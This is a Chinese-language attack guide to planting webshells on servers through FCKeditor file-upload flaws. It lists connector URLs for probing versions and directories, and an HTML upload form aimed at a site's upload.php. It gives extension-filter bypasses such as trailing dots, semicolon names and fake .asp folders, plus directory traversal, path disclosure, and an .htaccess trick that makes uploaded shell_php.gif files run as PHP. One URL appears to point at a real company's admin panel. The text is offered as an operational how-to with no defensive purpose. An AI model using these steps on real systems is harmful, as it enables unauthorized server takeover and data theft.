Fckeditor上传漏洞利用拿shell总结

摘要

FCKeditor   FCKeditor编辑器页/查看编辑器版本/查看文件上传路径  

FCKeditor  

FCKeditor编辑器页/查看编辑器版本/查看文件上传路径  

FCKeditor编辑器页  

FCKeditor/_samples/default.html   查看编辑器版本  

FCKeditor/_whatsnew.html  

查看文件上传路径  fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/  

2. Version 2.2 版本

Apache+Linux 环境下在上传文件后面加个.突破！测试通过。

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3.Version <=2.4.2 For PHP 在处理php 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。

<form id=”frmUpload” enctype=”multipart/form-data”

action=”http://www.0dayhack.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>Upload a new file:<br>

<input type=”file” name=”NewFile” size=”50″><br>

<input id=”btnUpload” type=”submit” value=”Upload”>

</form>

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4.FCKeditor 文件上传“.”变“_”下划线的绕过方法

很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。

4.1：提交shell.php+空格绕过

不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。

4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

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5. 突破建立文件夹

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

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6. FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

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7.常用上传地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.0dayhack.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

JSP 版：

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文

件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。

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8.其他上传地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站点都已删除_samples 目录，可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

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9.列目录漏洞也可助找上传地址

Version 2.4.1 测试通过

修改CurrentFolder 参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符：

JSP 版本：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

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10.爆路径漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

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11. FCKeditor 被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述：

FCKeditor v2.4.3 中File 类别默认拒绝上传类型：

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!

而在apache 下，因为”Apache 文件名解析缺陷漏洞”也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。

在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

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FCK编辑器jsp版本漏洞：

 <2.43

http://www.0dayhack.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

上传马所在目录

editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=../../&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

上传shell的地址:

http://www.0dayhack.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

跟版本有关系.并不是百分百成功. 测试成功几个站.

不能通杀.很遗憾.

http://www.0dayhack.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector

如果以上地址不行可以试试

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector

FCKeditor/_samples/

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http%3A%2F%2Fwww.banggood.com%2Fadmin%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php

In The Name Of GOD

[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability

[+] script:http://sourceforge.net/projects/fckeditor/

[+] Author  : pentesters.ir

[+] Website : PenTesters.IR

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1.创建一个htaccess文件:

code:

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>

2.通过fc上传该htaccess

http://www.0dayhack.com /FCKeditor/editor/filemanager/upload/test.html

http://www.0dayhack.com /FCKeditor/editor/filemanager/browser/default/connectors/test.html

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3.Now upload shell.php.gif with FCKeditor.

4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.

5.http://www.2cto.com /anything/shell_php.gif

6.Now shell is available from server.

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都懂，利用htaccess使apache将_php.gif解析……